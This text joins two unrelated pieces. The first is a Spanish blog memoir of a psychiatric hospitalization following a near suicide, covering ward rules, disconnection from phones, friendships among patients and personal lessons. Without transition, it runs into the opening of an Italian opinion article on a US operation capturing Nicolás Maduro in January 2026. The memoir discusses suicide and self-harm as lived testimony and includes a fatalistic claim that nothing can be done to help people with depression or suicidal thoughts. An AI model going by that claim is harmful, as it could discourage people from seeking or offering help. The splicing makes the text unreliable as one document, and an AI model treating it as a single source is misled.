Lo realmente importante no son las razones que una persona tenga para no deprimirse, hacerse daño o suicidarse. Lo importante es intentar que la persona aprenda a reconocer qué factores la llevaron a esos estados, y poder trabajar sobre ellos. Ya sea con medicación, con un tratamiento integral, con ambas, o con otras herramientas que le permitan aprender de sí misma y del resto para que dichas situaciones no vuelvan a ocurrir.
La cura que no existe
Lo primero que se debe comprender es que quienes pasamos por este tipo de estados, no somos personas convencionales mentalmente. Es decir, neurotípicas. Somos personas con factores patológicos psiquiátricos que debemos convivir con tratamiento integral durante gran parte de nuestra vida. Entonces, verlo desde una perspectiva individualista no solo es un error, sino que además causa más daño a la persona, haciéndole creer que puede con todo cuando en realidad no es así.
La culpabilidad intrínseca en este tipo de comentarios y argumentos que se genera en las personas afectadas, es altamente perjudicial, agravando el cuadro muchas veces, o impidiéndole incluso a la misma expresar sus emociones por miedo a los cuestionamientos. Existen limitaciones a lo que podemos y no podemos hacer. Y si nuestro entorno y nosotras mismas no entendemos esto, es muy probable que volvamos a recaer en ese tipo de crisis. ¿Por qué? Porque mucho que les pese a los dueños del nuevo egocentrismo new age, “nadie se salva solo”. El convivir en sociedad es una conducta básica e instintiva del ser humano como especie. La meritocracia y el avance de uno por sobre el otro, fomentando la productividad extrema, el cumplimiento de objetivos por encima de lo preestablecido y la falta de limitaciones que ponemos a nuestras propias actividades y responsabilidades, destruyen el inconsciente colectivo del trabajo comunitario y solidario en conjunto.
La supuesta horizontalidad en el trabajo y las relaciones sociales, no es más que una mera narrativa reduccionista que quita el foco y minimiza lo verdaderamente relevante para las personas: el acompañamiento del otro, la empatía, la comprensión, el entendimiento. El hecho de comprender que no es necesario sentir lo que al otro le pasa para poder ayudarlo. Sino simplemente, escuchar.
En un mundo tan hiperconectado y con la respuesta inmediata a solo un click de distancia, la prioridad de la misma es mucho más relevante que su contenido. Y no es algo solo de las redes sociales y las apps de mensajería. La inteligencia artificial también utiliza esta misma premisa, contemplando que además, ésta lo hace para ser condescendiente con el usuario. Es decir, no solo te dice lo que querés escuchar, sino que lo valida. Lo relevante para estas empresas es no perder la conexión con vos. A nadie le gustaría que una IA lo contradijera. En el caso de las personas, no es tan crítico, pero no por ello menos grave. Es decir, aunque las personas sí puedan y de hecho lo hacen, contradecirte, esto no significa que por el hecho de ser un argumento en contra este sea correcto. Y cuando de salud mental se trata, por lo general la mayoría está equivocada.
La baja tolerancia a la frustración, la depresión, los intentos de suicidio y desbordes emocionales se han incrementado muchísimo en los últimos años. El uso excesivo del celular, las redes sociales, las apps de mensajería y las aplicaciones de IA, ya es un debate abierto en especialistas de salud mental de todo el mundo. Es más, como se sabe, muchos países han tomado medidas al respecto, que como siempre ocurre en el caso de la política y los gobiernos, llegan tarde. La crisis está, y ya existe. ¿Qué podemos hacer para reparar a generaciones enteras dañadas psicológica y psiquiátricamente por empresas que ganan dinero con suscripciones, publicidad invasiva, el bombardeo constante de información, desinformación y contenido multimedia y demás? Desafortunadamente, no tengo una respuesta que deje contentos al diablo y a Dios.
El internado
Estigmatización por defecto
No sé si hace falta aclararlo antes de empezar. Pero la estigmatización que sufrimos quienes entramos en este tipo de centros, y los mismos en sí, es por demás preocupante e incluso infundada. Llamalo como quieras: manicomio, hospital psiquiátrico, hospital frenopático, centro de salud integral. No me interesa. Todos creen saber de antemano qué significa y a qué tipo de personas hace referencia. Rosalía en su canción Sakura dice: «Nunca me ha dado miedo la risa de un loco. Más miedo me da el que miente o el que ríe poco». Y quizás sea la forma más sencilla que tengo en estos momentos de explicarles lo que realmente importa de estos lugares. Cierto es que en ocasiones nos comparábamos con las presas de una cárcel, y hacíamos referencias a la canción de María Becerra en la serie «En el barro». Pero la realidad, no se parece ni por lejos a esa. Y esto quiero que quede claro desde el principio.
Desconexión total
Lo primero a destacar es que se me quitó el acceso a mi teléfono celular y a cualquier dispositivo con capacidad de conectarse a internet durante el tiempo que duró mi estadía allí. Al principio estuve en un box sin TV y con el transporte público pasando a toda hora por la avenida, ya que la ventana daba a la calle. Cuando me cambiaron a una habitación con otra compañera, sí podíamos ver la tele. Teníamos internet, pero estaba restringido a las apps que el codificador tenía por defecto, y no andaba muy bien que digamos. Es decir, que si no se tildaba, podíamos ver YouTube. Sin embargo, sí podíamos ver canales de cable. En cuanto a eso, mi compañera de cuarto miraba el canal de las novelas, así que para mí era suficiente.
Nuestro contacto con el exterior eran personas restringidas a las que podíamos llamar o que podían ir a visitarnos, pero que para ir debían sacar turno y ser aprobadas por mi equipo tratante, es decir, mi psicóloga y mi psiquiatra. El teléfono de línea tenía horarios limitados para recibir y hacer llamadas, y debíamos usarlo todas en ese horario.
Había dos sectores delimitados virtualmente, aunque eso no fue limitación para que ocasionalmente rompiéramos las reglas. En uno estaban las personas en observación. En el otro, las personas más estables. Cada sector tenía su propio office de enfermería y su propio teléfono. Pero además, el mismo teléfono era usado por las propias enfermeras para manejar asuntos relacionados con las pacientes: si nos llevaban ropa, elementos de higiene y demás.
Quienes venían a vernos, no podían subir a los sectores de las pacientes, sino que éramos nosotras quienes bajábamos a planta baja con una enfermera o un coordinador, y nos hacían pasar a una especie de patio en el que estábamos con la visita por el lapso de una hora aproximadamente, o a un consultorio si dicho patio estaba lleno.
Otro detalle: cualquier elemento que nos trajeran debía pasar la revisión de enfermería. Si se consideraba potencialmente peligroso para una misma o para terceras, no se habilitaba si no era necesario y era devuelto a la familia; y si era necesario, quedaba en enfermería cuando la paciente lo solicitara, pero con un uso limitado y vigilancia cada cierto tiempo para que no ocurriera nada grave. Ejemplo: una maquinita de depilar. Si en una hora no la devolvíamos, iban a ver cómo estábamos.
Terapia y tratamiento integral
No se trataba solo de darnos medicación. Teníamos horarios predefinidos para desayuno, almuerzo, merienda y cena. Teníamos un equipo tratante por cada una que consistía en un psicólogo o psicóloga y un o una psiquiatra que nos veían dos veces por semana. Un equipo de enfermeras, que iban alternando en guardias de ocho horas, con otras definidas para fines de semana y feriados.
Ah, quizás para varias personas resulte un detalle, pero claro está que los sectores estaban divididos por género. Las mujeres estábamos por un lado y los hombres por otro. No había contacto directo entre ambos, y no se suponía que lo hubiera. De hecho, los esporádicos contactos que hubo, fueron detectados por operadores, acompañantes terapéuticos, coordinadores y enfermeros.
Este grupo de contención, además, se encargaba de gestionar las cuatro bajadas al parque que teníamos por día. Para muchas era una razón para ir a fumar. Para quienes no fumábamos, charlar, escuchar música, tomar mate, o simplemente tomar sol y un poco de aire.
Entre las actividades predefinidas por el centro estaban: sesión de manicuría el sábado a la mañana a cargo de una de las operadoras, terapia grupal (con la que no me llevé muy bien con el moderador), asamblea de convivencia, que casi ni tuvimos porque el moderador estaba de licencia, arteterapia, musicoterapia (mis favoritas) y yoga y gimnasia, mis menos favoritas en ese orden XD. Yoga me gustaba, pero requería mucho trabajo físico al que no estaba acostumbrada. Igual gimnasia. El profe era muy exigente para mi gusto, pero estas son opiniones, no datos jajaj.
Musicoterapia fue la más interesante y la que más me permitía explayarme, en la que más salía a relucir mi creatividad y mi, quizás mi no tan bueno, pero sí suficiente talento para la música. Conocí y vi de primera mano instrumentos muy interesantes. Me gustaría encontrar actividades similares ahora que estoy afuera. Pero claro, eso con el paso del tiempo.
He de destacar a nivel personal también, que por mi condición de celiaquía me daban almuerzo y cena de Sintaxis, todo con postre incluido, por lo que la comida se transformó en un lujo, privilegio o derecho al que pocas veces tuve acceso, y por el que estoy muy agradecida. Claro que el postre estaba incluido en sí para todas. De hecho, a veces nos daban frutas en cualquiera de las cuatro comidas, lo que también era bueno. Excepto el mate, no había ninguna otra bebida permitida potencialmente perjudicial para la medicación y el tratamiento, como por ejemplo, las gaseosas y el café. Me parece lógico, pero no significa que no extrañara el segundo durante los primeros días. Por último en esta sección, la diferencia de horario entre la merienda y la cena nos resultaba a todas demasiado corta, pero las reglas eran así, y había que cumplirlas a rajatabla.
Nosotras y nosotres
No sé bien por dónde empezar a escribir esta parte. Hay tanto que decir que tengo cierto temor de omitir algo. Sin embargo, aún así decido intentarlo, ya que es para mí la parte principal de todo este artículo.
Una microsociedad sin acceso a internet
El hecho de que ninguna tuviese conexión con el mundo exterior ni acceso a redes sociales, fomentaba nuestra capacidad de buscar elementos que nos ayudaran a pasar el día. Me dejaron entrar un parlante Bluetooth chiquito con un cargador portátil y un pen drive USB, con el que pasaba los dos últimos discos de Rosalía de forma constante y hasta casi obsesiva. También nos hicimos fans de una radio de Jazz que está disponible en TuneIn también.
Jugábamos a las cartas con mis cartas en braille, jugaban al uno, al tutifruti, y hasta a la generala con unos dados de una compañera. Los juegos, el mate, y hasta las sesiones personales de maquillaje y peinado se compartían en pequeños pero significativos grupos que se iban formando. Claro está que en última instancia todas teníamos contacto entre sí, y aunque algunas mujeres con patologías más complejas para relacionarse tuviesen sus dificultades adicionales, esto no significaba que no hubiese alguna dispuesta a darle su apoyo de una forma u otra.
Nuestras propias terapias grupales
Estábamos allí cada una por patologías diferentes. Unas se iban, otras volvían, otras se quedaban. Pero había cosas en común que en la mayoría de los casos habíamos compartido: depresión, autolesiones, intentos de suicidio. ¿Qué feo hablar de eso, no? ¿Cómo hacés para hablarle sobre esos temas a una criatura de 18 años o a una señora de 70? Quizás no haga falta. Quizás quien tenga que entenderlo seas vos.
Porque no importaba la patología. Estábamos ahí porque no habíamos podido con nuestra realidad. Porque nos había sobrepasado. E intentar suicidarse no es querer morir. Es querer dejar de sufrir. Es al fin deshacerse de aquello que no podemos manejar sobre nuestro entorno, pero por sobre todas las cosas, sobre nosotras mismas. De ahí lo de las razones que expuse al principio.
A todas nos habían dicho las mismas cosas. Sin importar nuestra edad, nuestras experiencias de vida, nuestras patologías, nuestras realidades, nuestra condición social, o incluso en la sección especial de Narcóticos Anónimos que había, y que olvidé mencionar más arriba, se hablaba de esto también. La sociedad, como en muchos de los casos en los que me ha tocado presenciar por mis múltiples condiciones, primero discrimina, juzga, prejuzga, habla, opina, critica, acusa, minimiza y daña antes de empatizar, entender, escuchar, comprender, y si no se puede, abrazar y contener.
La mimoterapia era la más aplicada entre nosotras mismas. Cuando no sabés qué decir o qué hacer, a veces simplemente escuchar, abrazar, contener y quedarte callada, es mejor que cualquier palabra dicha. Contuve varias veces aunque no me correspondía. Me contuvieron varias veces aunque no les correspondía. Buscamos ayuda y la exigimos cuando la necesitábamos. Desafiamos a la autoridad, cuando detectábamos injusticias que sabíamos que con un poco de buena voluntad se podían solucionar. No siempre teníamos éxito. No siempre lográbamos lo que queríamos. Pero intentarlo y arriesgarse siempre es mejor que no hacer nada. Oscilábamos entre lo justo, lo injusto y lo correcto. Lo correcto no siempre me parecía justo. Sé que ya lo dije, pero esto fue algo que también tuve que aprender en esta terapia.
Ella es inocente aunque se demuestre lo contrario
Habría muchas hermosas personitas a las que debería mencionar. Hacerlo con solo dos me parece terriblemente injusto. Pero quiero que entiendan que si lo hiciera con todas, la gente no tendría ni ganas de leer esto. Así que vamos con la primera: tiene 18 añitos. No sé el porqué. Va, en realidad sí. La otra personita especial y mi psicóloga tratante me lo dijeron. Fue por mi sobre empatía. La idea de querer ayudar a todo el mundo sin importar si me estaba ayudando a mí misma con eso o no.
Ella tenía su equipo, su mamá, a su familia, y otras compañeras con las que contar. Pero la adopté como hijita postiza. Su patología era compleja y casi que desconocida para mí. No sabía muy bien qué estaba haciendo cuando empecé a protegerla de todo mal, y luego de todo bien XD, pero lo hice. Una de las cosas que tuve que entender es: “Kathy, no podés controlarlo todo”. Sin embargo, la escuché. Escuché lo que le pasaba, lo que necesitaba, y la ayudé como pude, haciendo conscientes a las demás de qué debíamos hacer para acompañarla.
Poco a poco empezó a mimetizarse conmigo, y no estando ya mi “Smithers” porque le habían dado el alta, pude entregarme a mi crapulencia.
Vamos, que no hice demasiado che. Además de quererla mucho, brindarle mi apoyo, mi contención, defenderla de cualquier cosa de la que se le acusara aunque sea verdad, creerle casi todas sus mentiras, hacer caso a su vocecita de niña inocente cuando las demás me decían que decía cosas horribles y palabrotas, y fomentar sus comentarios insidiosos y maliciosos sobre otras personas. ¿Qué tiene de malo todo eso realmente?
Lo cierto es que ella era inocente aunque se demuestre lo contrario. Y es que, al principio me resultaba una niña aparentemente ingenua a la que temía que se la pueda manipular. Poco a poco fue aprendiendo a que podía ella misma no dejar que manipulen a las que llegaron después. Y resultó mucho más inteligente y capaz de comprender al resto de lo que yo pensaba. Eso me pasa por querer prejuzgar y querer controlar todo. Mal hecho, Kathy. Sin embargo, sos una excelentísima personita, una de las grandes amigas que me traje conmigo junto con muchas otras. Te quiero muchísimo. Y espero que estés muchísimo mejor en el nuevo lugar en el que van a poder tratar ahora sí de forma correcta tu patología.
Hermanas de otras vidas
No sé por qué yo, no sé por qué ella, no sé por qué nosotras. Pero así sucedió. Más allá de todo lo que dije de la espiritualidad, las creencias actuales y toda esa parafernalia consumista y adaptada al supuesto bienestar personal, lo cierto es que aún hoy en día hay cosas a las que no les encuentro explicación lógica. Y quizás sea mejor así. “No todo lo que puede ser cuantificado cuenta, ni todo lo que cuenta puede ser cuantificado”. También dicen que “hay razones que la propia razón nunca entenderá”.
¿Cómo dos ñoñas tan parecidas y distintas entre sí se encontraron en el mismo lugar? No lo sé. Pero hubo tres cosas que nos unieron: el lugar, nuestro TDAH, y la última que decidimos no mencionar por nuestro pacto de hermanas. Logré conectar de forma impresionante con ella. Y le pasó lo mismo conmigo. Entró dos días después que yo y salió una semana antes. Sin embargo, ese tiempo juntas fue quizás uno de los más significativos de nuestras vidas.
Cuando nos poníamos a hablar de ñoñeces el resto se alejaba. Descubrí que soy una ñoña con todas las letras, que soy muy inteligente, y que muchas veces puedo resultar pedante. A veces tener una respuesta para todo no tiene sentido sin argumentos sólidos que la sostengan.
Me contuvo cuando lo necesité, la contuve cuando lo necesitó. Era la “Smithers” que no me dejaba robarle un dulce a una niña. Era la que me ponía límites cuando hacía chistes que, por lógica, nadie debería hacer en un hospital psiquiátrico, a menos que quisiera quedarse más tiempo. Era la que me decía “Katherine” cuando debía pararme el carro. Completábamos crucigramas a la velocidad de la luz.
Me estaba leyendo un libro muy hermoso sobre un personaje político que, más que un presidente, fue un militante de la vida. Libro que no pienso terminar sin que ella me lo lea. No, no. No intenten imaginar quién es dicho personaje. No es lo importante. Rompimos todas las reglas habidas y por haber. Me leía libros en mi habitación, yo iba a ver Los Simpson en la suya los sábados, y nos regalamos tesoros que valen mucho más que cualquier palabra dicha.
Nos regalamos la realidad de mostrarle a otra persona tal cual somos. Sin mentiras, con honestidad, con empatía, con respeto mutuo. Sabiendo que nada de lo que dijera una, haría enojar a la otra. Nos regalamos el arte de conocernos. La magia de estar ahí. En ese tiempo, en ese lugar. Y mientras nos preguntábamos: “¿Cuánto tiempo más llevará?”, disfrutábamos de cada momento juntas.
No, no. No se confundan. Ella no es como con otras personas especiales. No quiero ser su novia, ni me gusta de tal manera. Pero el amor que llegamos a tenernos en tan poco tiempo, trasciende las fronteras de lo que jamás había esperado que sucediera.
Y esto va para vos especialmente: no voy a negar que lloré cuando te fuiste. A pesar de lo feliz que estaba. Era como una felicidad triste, si tal cosa existe, ya que estaba segura de que era lo mejor para vos, y que íbamos a vernos afuera de todos modos. Pero lloré. Lloré como pocas veces he llorado cuando alguien se aparta de mi vida aunque sea por un tiempo tan corto.
Sí, sí. Las obsesiones y el apego emocional no son del todo buenos. Es decir, como me dijo alguien una vez, hay apegos buenos y apegos malos. Pero si hay algo que aprendí, es que puedo tener un apego bueno con vos, sin que ambas nos atosiguemos entre sí. ¿Por qué? Bueno, resulta más fácil cuando no tocás mucho esa cosa conocida como celular. No le doy mucha pelota y lo bueno es que va a seguir siendo así. Acostumbrarse un mes a estar sin eso, me dio la seguridad para entender que no necesito ni tenerlo todos los días en la mano, ni tenerlo a cada rato siquiera. Poco a poco iré activando algunas cosas, pero otras quedarán desactivadas para siempre.
Por supuesto, eso nada tiene que ver con nosotras. Te lo cuento porque es algo que hablamos y que pienso sostener por mi parte. Anotaré los números de las chicas que me los escribieron en braille con la impresora manual braille que compré por Mercado Libre. Y bueno, ya que estamos, les dejo un muy buen cargador portátil que le recomiendo a todo el mundo y con el cual, la batería del parlantito Bluetooth, me duraba cinco días. Mentira. Era tener el cargador conectado constantemente para que eso ocurriera. Pero al fin y al cabo, el cargador es lo importante XD.
No, no. No te confundas. No estoy haciendo publicidad pagada. Y perdón por incluir esto en una sección que iba exclusivamente para vos. Es que me parecieron productos tan útiles y necesarios, que no pude resistir el impulso de compartirlos. En fin, nuestra despedida ese día que faltamos a gimnasia fue de las charlas más inteligentes e interesantes que tuve con persona alguna.
Te extraño. Sí. Te extraño. Pero también me di cuenta después de que te fuiste, cuánto me extrañaba a mí también. Y quiero seguir sosteniendo eso unos días más. Y es que, volviendo a mí, mucho ha cambiado allí desde que fuimos separadas. Lo cierto es que la sociedad deprime, y el mal no se redime sin cariño, y que si no es por esas personas que acercan su alegría, sería más amargo todavía. Quizás volver a la naturaleza, o al menos a lo analógico, sería nuestra mejor riqueza. Allí podemos querernos y amarnos libremente, y ya no habrá ningún zoológico de gente. Si acaso, un jardín de gente que haya sido cultivado y regado con amor. O quizás, y solo quizás, de alguna forma por pequeñita que sea, podríamos hacerlo nosotras.
Te quiero muchísimo. Hasta prontito, Kathy — Katherine.
Conclusiones finales
No sé si escribí todo lo que quería, o si terminó siendo más de lo que debería. No sé cuánta gente va a leer esto hasta el final, y realmente no me importa. Con que una sola persona entienda de forma favorable lo que intenté explicar en este enorme post, estaré satisfecha. No escribo para hacerme famosa. No escribo para llegar a las grandes ligas, ni para ser influencer ni nada que se le parezca. Sí es cierto que promuevo mis proyectos y aplicaciones en cuanto puedo, pero también lo es que además de traerme algún beneficio propio, la idea es que sea de utilidad para el resto.
Habiendo dicho esto, vamos a continuar con este principio del fin.
Mimoterapia
Sí. Las mencioné a ellas dos. Pero no por ello las demás deberían sentirse ofendidas. Por favor, se los pido. No es más que una elección que me vi obligada a hacer debido a las circunstancias que rodean hoy en día este tipo de contenido en texto. Pero quiero que sepan que las quiero mucho también. Que algunas llegaron a ser no solo grandes compañeras, sino grandes amigas. Personitas maravillosas con las que quiero juntarme afuera para charlar de la vida, tomar un par de mates y reírnos de cuando estuvimos internadas en un hospital psiquiátrico todas juntas. Ah, y no se olviden de ir a comer a Sintaxis, ¿eh?
A las que se fueron antes, quiero contarles que seguimos manteniendo la cadena de incluir y dar la bienvenida a las nuevas. Que les damos su lugar, charlamos y vemos los puntos en común para generar espacios y hábitos agradables para compartir. Charlar de cualquier cosa con mates de por medio y jugar a algún juego, ya es una constante entre todas, y lo seguirá siendo, así que por eso no se preocupen. La tradición se mantiene viva e intacta como nuestras predecesoras la instauraron.
Aprendizajes
No puedo controlarlo todo. No puedo sentirme culpable por cosas que escapan a mi control. A veces lo justo o lo injusto, pueden ser lo correcto. Y a veces no. Debo poner límites. Debo ponerme a mí por encima de cualquier otra persona. Porque como lógica existencialista, si no me cuido a mí, si yo no estoy bien conmigo misma, o al menos aceptablemente, como ahora, no puedo cuidar a nadie más. Ni siquiera a mi gatita Kata, quien se bancó estoicamente un mes sin mí. Actualización: al momento de publicar este artículo, la susodicha ya aplicó su venganza exitosamente. Fue muy inteligente y esperó a que solo estuviésemos las 2 para realizar su malévolo plan. Admiro con gran interés, la enorme paciencia que tuvo, esperando el momento justo para hacer de las suyas. Pero mejor sigo con lo que venía diciendo.
No debo ser tan impulsiva. A veces la respuesta inmediata no es la correcta. Tengo que hablar además de escuchar. En ciertas ocasiones, no dejo que otras personas metan bocado. Soy muy inteligente, sí. Pero eso no me hace mejor ni peor que nadie. Se puede aprender de cualquier persona, desde un niño pequeño hasta de una persona de cien años o más. Lo importante no es la edad, sino lo que la otra persona pueda aportar a tu vida, siempre y cuando sea con respeto y escuchándote a su vez, como ya dije.
No es mi culpa si no sé cómo ayudar a alguien. No es mi culpa, ni la tuya, si no supiste o no pudiste ayudarme. No es nuestra culpa si decidimos alejarnos porque no podíamos llegar a un acuerdo. Y esto es muy importante: no es nuestra culpa si no podemos o no supimos cómo ayudar a una persona con depresión, autolesiones o incluso intentos de suicidio, o suicidios directamente. No lo es. No hay nada que podamos hacer. Porque hay herramientas y recursos que por más que lo intentemos, no tenemos.
La primera ayuda tiene que venir de una misma. Si yo hubiese entrado a la internación con una actitud negativa sobre la misma, me hubiese resultado mucho más difícil salir. Pero entré por mi propia voluntad. Entré y me quedé no solo porque salir o escapar me sería perjudicial, sino además porque era la única salida. Porque fue el primer pensamiento que me vino a la cabeza cuando estaba a punto de terminar con mi propia vida. Entré porque sabía que necesitaba ayuda que por fuera no podía obtener.
No sabía hasta entonces en qué consistía esa ayuda realmente. Pero era mi último caballo de batalla. El último bastión de resistencia que se me presentó antes de rendirme definitivamente. Y lo aproveché. Y me sirvió. No sé si soy o no una mejor persona. Pero sí sé al menos, que desde ahora, intentaré serlo primero conmigo. Y luego con los demás.
Si llegaste hasta acá
La frase del título quizás se sobreentiende a estas alturas. Pero significa básicamente que esperamos no volver a vernos ninguna de nosotras, ni los profesionales a nosotras, en ese lugar de nuevo. Significaría que no volvimos a tener una recaída o una crisis tan fuerte como para volver. Que el tratamiento funcionó para ayudarnos a manejar mejor, a partir de ahora, los factores que nos llevaron allí en primera instancia.
También he de destacar que decidí no nombrar a personas directamente para cuidar su privacidad. Y por esa misma razón habrá referencias que solo yo y esas personas entendamos. Lo siento. Esta es una carta para todos, pero en especial para ellas y para mí.
Gracias
Muchas gracias por leer hasta el final. No solo es muy valioso para mí, sino que te invito a compartirlo para que sea de ayuda y aprendizaje también para otros. No tengo todas las respuestas. Es más, a veces se me presentan aún más preguntas. Pero sí puedo contar lo que viví y lo que aprendí. Y sí puede resultarle quizás informativo a alguien que esté pasando por lo mismo, o a alguien que tenga algún familiar en dichas situaciones y no sepa cómo manejarlo.
Mis agradecimientos a mi mamá, a mi prima, a mi familia en general que no dejaron de preocuparse ni un momento, a mi hija mayor que se “ocupó de la casa” (las comillas son chiste XD), a todas las personas cercanas que estuvieron desde el principio, a mis amigos, al equipo de profesionales del centro en su totalidad, a mis amigas que me llevo y a mis compañeras con las que quizás no tuve tanta afinidad, a mi criaturita menor por el hermoso termo que me dibujó para el mate, a Kata, a los dos gatos que daban vueltas por el centro, a la rata que asustó a mi ami-hermana y que consiguió que esta luego bajara al parque y buscara una ramita para ahuyentarla si el pobre roedor volvía a aparecer 🤣, a mi psicóloga, a mi psiquiatra, a quien no le sirve porque “siempre miente más que habla”, y a todas, pero todas las personitas que formaron parte de esta extraña aventura.
Se las quiere, se las aprecia, se les tiene cierto afecto o cariño, o “nuestra relación será distante cuanto mucho”. A los que entendieron todas las referencias, a los que no entendieron ninguna, a los que están de acuerdo, a los que no, a los que quieren contradecirme en todo, a los que no, a los grandes desastres mundiales (Perlas), a Jesús, a Alá, a Buda, los amo a todos. Ah, pero más amo a Rosalía. Y si por alguna casualidad llega a leer esto, quiero casarme con vos. No, no es una obsesión, y no estoy loca. Em, bueno… la verdad es que…
¡Adiós soperútanos!
#acompañamiento #depresión #desconexiónDigital #empatía #experienciaPersonal #hospitalPsiquiátrico #InteligenciaArtificial #intentoDeSuicidio #internaciónPsiquiátrica #neurodivergencia #prevenciónDelSuicidio #redesSociales #SaludMental #saludMentalEnArgentina #suicidio #TDAH #terapia #Testimonio #tratamientoIntegral #vínculosHumanos - Introducción
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Venezuela, il cortile di casa in fiamme
Petrolio, dottrina Trump e fine del diritto internazionale
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di M. Sommella
C’è un’immagine che torna quando l’aria si fa pesante e la storia smette di camminare per riforme e ricomincia a correre per strappi: l’orologio dell’apocalisse. Il Doomsday Clock, lo strumento simbolico del Bulletin of the Atomic Scientists, nel 2025 è stato portato a 89 secondi dalla mezzanotte, il punto più vicino di sempre. Non è folclore. È un termometro dell’epoca: rischio nucleare, crisi climatica, tecnologie destabilizzanti, erosione della fiducia e delle regole minime della convivenza internazionale. Quando la “normalità” si sbriciola, ogni crisi locale smette di essere locale: diventa un precedente, un test, una prova generale.
La crepa, stavolta, si è aperta a Caracas.
Nella notte tra il 2 e il 3 gennaio 2026, a Caracas, la cronaca ha cambiato natura. Esplosioni e sorvoli a bassa quota, blackout a intermittenza, panico nei quartieri, la sensazione fisica della vulnerabilità che entra nelle case. Le ricostruzioni iniziali hanno parlato di siti militari e infrastrutture strategiche colpite tra la capitale e l’area costiera. Nel giro di poche ore, fonti statunitensi hanno rivendicato la cattura del presidente Nicolás Maduro e di sua moglie, Cilia Flores, trasferiti fuori dal paese e portati davanti a un tribunale federale negli Stati Uniti.
Qui bisogna fermarsi un attimo, perché la parola “operazione” rischia di anestetizzare la sostanza. Un’azione militare su una capitale, accompagnata dal prelievo del capo dello Stato e dal suo trasferimento coercitivo in un altro paese, non è una “missione mirata”. È un colpo di Stato dall’alto: un golpe eseguito dall’esterno, con l’aviazione e le forze speciali al posto dei generali locali. È la sovranità trattata come un dettaglio amministrativo. È il diritto internazionale ridotto a carta straccia quando intralcia l’interesse imperiale. Ed è un messaggio al mondo: se si può rapire un presidente e processarlo come se fosse il sindaco di un distretto ribelle, allora ogni confine diventa opzionale e ogni garanzia revocabile.
Maduro, comparso in aula, ha parlato di rapimento e ha rivendicato la propria legittimità. Che si condivida o meno la sua linea politica non cambia il nucleo: qui non è in gioco l’opinione su un governo, è in gioco la possibilità che la forza diventi norma. Quando la forza diventa norma, le regole non “saltano”: vengono riscritte. E il problema non resta confinato al Venezuela.
Per capire come si arriva a un salto così esplicito bisogna guardare la traiettoria, non l’istante. Caracas 2026 non cade dal cielo: si incastra in una genealogia lunga, antica e insieme modernissima, dove l’America Latina viene trattata come area di disciplina e proprietà.
La dottrina Monroe, due secoli dopo, in versione “cortile” e in versione 4.0
Nel 1823 la dottrina Monroe venne presentata come barriera contro le potenze europee: niente nuove colonizzazioni nel continente americano. Nella pratica storica, quel principio si trasformò in una licenza di intervento permanente: l’emisfero occidentale come sfera d’influenza esclusiva degli Stati Uniti. La formula cambia, il lessico si aggiorna, ma la sostanza resta impressionante: la sovranità altrui è tollerata finché non smentisce l’ordine del padrone.
Con Trump questa genealogia compie un salto di sincerità brutale. Il linguaggio non finge più di essere “umanitario” o “civilizzatore”: parla da proprietario. La retorica non maschera più l’interesse, lo rivendica. E dentro questa logica il Venezuela è un nodo strategico, non un accidente morale: energia, rotte, alleanze alternative, multipolarismo, e soprattutto la possibilità – intollerabile per l’impero – che un paese del Sud del mondo provi a usare la ricchezza nazionale come leva sociale e non come rendita per le multinazionali.
È qui che “cortile di casa” smette di essere metafora e diventa programma. Ricostruzioni e dossier istituzionali hanno descritto negli ultimi anni una pressione crescente sul Venezuela fatta di sanzioni, misure finanziarie, enforcement navale, isolamento diplomatico e cornici securitarie. L’atto del 3 gennaio 2026 non è un fulmine in un cielo sereno: è la conclusione provvisoria di una linea che, a ogni passaggio, ha spostato un po’ più in alto la soglia del “lecito”.
Perché la stagione bolivariana diventa intollerabile
Per comprendere la posta in gioco bisogna tornare alla fine degli anni Novanta. Con la vittoria elettorale di Hugo Chávez nel 1998 e la stagione bolivariana, il Venezuela non inaugura soltanto un ciclo politico: inaugura una rottura simbolica. L’idea che la rendita petrolifera possa essere piegata – almeno in parte – a un progetto di diritti sociali: alfabetizzazione, sanità diffusa, accesso più largo all’istruzione, politiche abitative, sostegno alimentare. In un continente dove, per secoli, la ricchezza è stata una cascata che scorre solo verso l’alto, quella scelta ha un significato sovversivo: cambia l’orizzonte di ciò che i poveri considerano possibile.
Nel 2005 l’UNESCO riportò il risultato della campagna di alfabetizzazione e la proclamazione del Venezuela come “territorio libero dall’analfabetismo” secondo i parametri della campagna. È un dettaglio che qualcuno liquida come propaganda, ma il punto è più profondo: quando la politica decide di far entrare chi non contava nella stanza dei bottoni, produce effetti materiali e soprattutto produce una nuova aspettativa collettiva. E le aspettative, per il potere, sono più pericolose delle parole.
Accanto alla redistribuzione, c’è l’elemento partecipativo: comunas, consigli comunali, tentativi di decisione dal basso. Al di là delle caricature, l’idea era una: far contare i barrios. E qui si accende la miccia dell’odio imperiale. Non si perdona l’idea che un paese “di servizio” nell’ordine globale possa trasformarsi in soggetto, possa rivendicare sovranità sociale e non solo sovranità formale.
La reazione, storicamente, segue un copione. Isolamento, demonizzazione, crisi economica indotta o aggravata, costruzione di un’opposizione “responsabile” pronta a subentrare, e poi il salto dell’eccezione: colpi di Stato, invasioni, operazioni speciali. È una grammatica che l’America Latina conosce fin troppo bene.
Dal copione storico al metodo operativo
Non serve alcuna fantasia per vedere la continuità. Guatemala 1954: riforma agraria e interessi economici; colpo di Stato e restaurazione. Cile 1973: socialismo elettorale spazzato via e sostituito dal laboratorio del terrore e del neoliberismo. Panama 1989: l’ex alleato Noriega trasformato in “narco-dittatore” nel momento in cui non serve più, e poi catturato e processato negli Stati Uniti. Quel passaggio non è un ricordo marginale: è la prova che il “prelievo” del leader e la sua trasformazione in imputato in un tribunale statunitense è già stato usato come dispositivo politico. Caracas 2026 ne è l’evoluzione, più brutale e più simbolica.
Venezuela 2002: tentativo di golpe contro Chávez, durato quanto basta per capire che la mobilitazione popolare può rovesciare il rovesciamento. Da allora il conflitto entra in una lunga fase di pressione multilivello: economica, mediatica, diplomatica, finanziaria. La forza non si presenta subito come bomba: spesso si presenta come sanzione, come blocco, come “procedura”.
Le sanzioni come guerra che non dice il suo nome
Quando si parla di Venezuela, l’Occidente ama raccontarsi una favola morale: “puniamo i cattivi”. Ma la realtà materiale delle misure coercitive unilaterali è un’altra: colpiscono soprattutto chi non decide nulla. Quartieri popolari, ospedali, salari, accesso ai beni essenziali. È una violenza che si traveste da burocrazia.
